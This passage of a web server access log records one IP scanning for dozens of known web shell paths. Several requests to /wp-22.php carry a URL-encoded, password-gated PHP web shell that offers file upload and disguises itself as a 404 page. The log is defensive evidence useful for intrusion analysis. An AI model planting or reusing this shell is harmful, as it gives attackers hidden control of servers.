E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:20 +0530] "GET /lol.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:21 +0530] "GET /upload.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:22 +0530] "GET /wp-admin/js/acces.php HTTP/1.1" 302 241 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:24 +0530] "GET /wp.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:25 +0530] "GET /wp-includes/fw.php HTTP/1.1" 302 238 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:25 +0530] "GET /alexuse.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:26 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:26 +0530] "GET /wp-content/radio.php HTTP/1.1" 302 240 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:26 +0530] "GET /wp-admin/includes/class-wp-pagebuilders-9LlwKf.php HTTP/1.1" 302 270 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:27 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:27 +0530] "GET /anone.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:27 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:28 +0530] "GET /.well-known/xwolfx.php HTTP/1.1" 302 242 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:29 +0530] "GET /demo328/fw.php HTTP/1.1" 302 234 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:29 +0530] "GET /wp-content/mu-plugins-old/iimzloqncz.php HTTP/1.1" 302 260 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:29 +0530] "GET /wp-admin/css/modern/colors.css.php HTTP/1.1" 302 254 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:30 +0530] "GET /modules/modules/modules.php HTTP/1.1" 302 247 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:30 +0530] "GET /templates/beez3/index.php HTTP/1.1" 302 245 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:31 +0530] "GET /wp-content/plugins/zedd/1.php HTTP/1.1" 302 249 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:31 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:33 +0530] "GET /404.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:33 +0530] "GET /wp-content/plugins/wp-file-upload/ROOBOTS.php HTTP/1.1" 302 265 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:33 +0530] "GET /Cpanel.php HTTP/1.1" 302 230 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:33 +0530] "GET /f.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:34 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:34 +0530] "GET /wp-content/plugins/html404/wso25.php HTTP/1.1" 302 256 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:35 +0530] "GET /alexus.php HTTP/1.1" 302 230 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:37 +0530] "GET /templates/atomic/error.php HTTP/1.1" 302 246 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:37 +0530] "GET /1.php HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:38 +0530] "GET /wp-includes/pomo/wp_class_datalib.php HTTP/1.1" 302 257 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:38 +0530] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 302 271 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:39 +0530] "GET /content.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:39 +0530] "GET /xo.php HTTP/1.1" 302 226 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:39 +0530] "GET /wp-admin/includes/readindex.php HTTP/1.1" 302 251 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:39 +0530] "GET /wp-includes/bala.php HTTP/1.1" 302 240 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:39 +0530] "GET /vita.php HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:39 +0530] "GET /wp-content/fw.php HTTP/1.1" 302 237 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:39 +0530] "GET /wp-includes/pomo/config.php HTTP/1.1" 302 247 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:40 +0530] "GET /wp-includes/css/wp-config.php HTTP/1.1" 302 249 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:40 +0530] "GET /wp-content/plugins/vwcleanerplugin/bump.php HTTP/1.1" 302 263 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:40 +0530] "GET /3301.php HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:40 +0530] "GET /mrjn.php HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:40 +0530] "GET /test/wp-content/themes/seotheme/mar.php HTTP/1.1" 302 259 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:40 +0530] "GET /sh3ll.php HTTP/1.1" 302 229 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:41 +0530] "GET /g.php HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:41 +0530] "GET /wp-admin/includes/maint/repair-bak.php HTTP/1.1" 302 258 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:41 +0530] "GET /wp-includes/Text/sidwso.php HTTP/1.1" 302 247 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:41 +0530] "GET /administrator/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 266 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:41 +0530] "GET /xindex.php HTTP/1.1" 302 230 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:42 +0530] "GET /1975.php HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:42 +0530] "GET /admin.php HTTP/1.1" 302 229 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:42 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:42 +0530] "GET /wp-content/wp-logins.php HTTP/1.1" 302 244 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:42 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:42 +0530] "GET /defau1t.php HTTP/1.1" 302 231 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:42 +0530] "GET /wp-includes/theme-cron.php HTTP/1.1" 302 246 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:42 +0530] "GET /alfashell.php HTTP/1.1" 302 233 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:43 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:43 +0530] "GET /demo328/fw.php HTTP/1.1" 302 234 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:43 +0530] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 302 257 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - 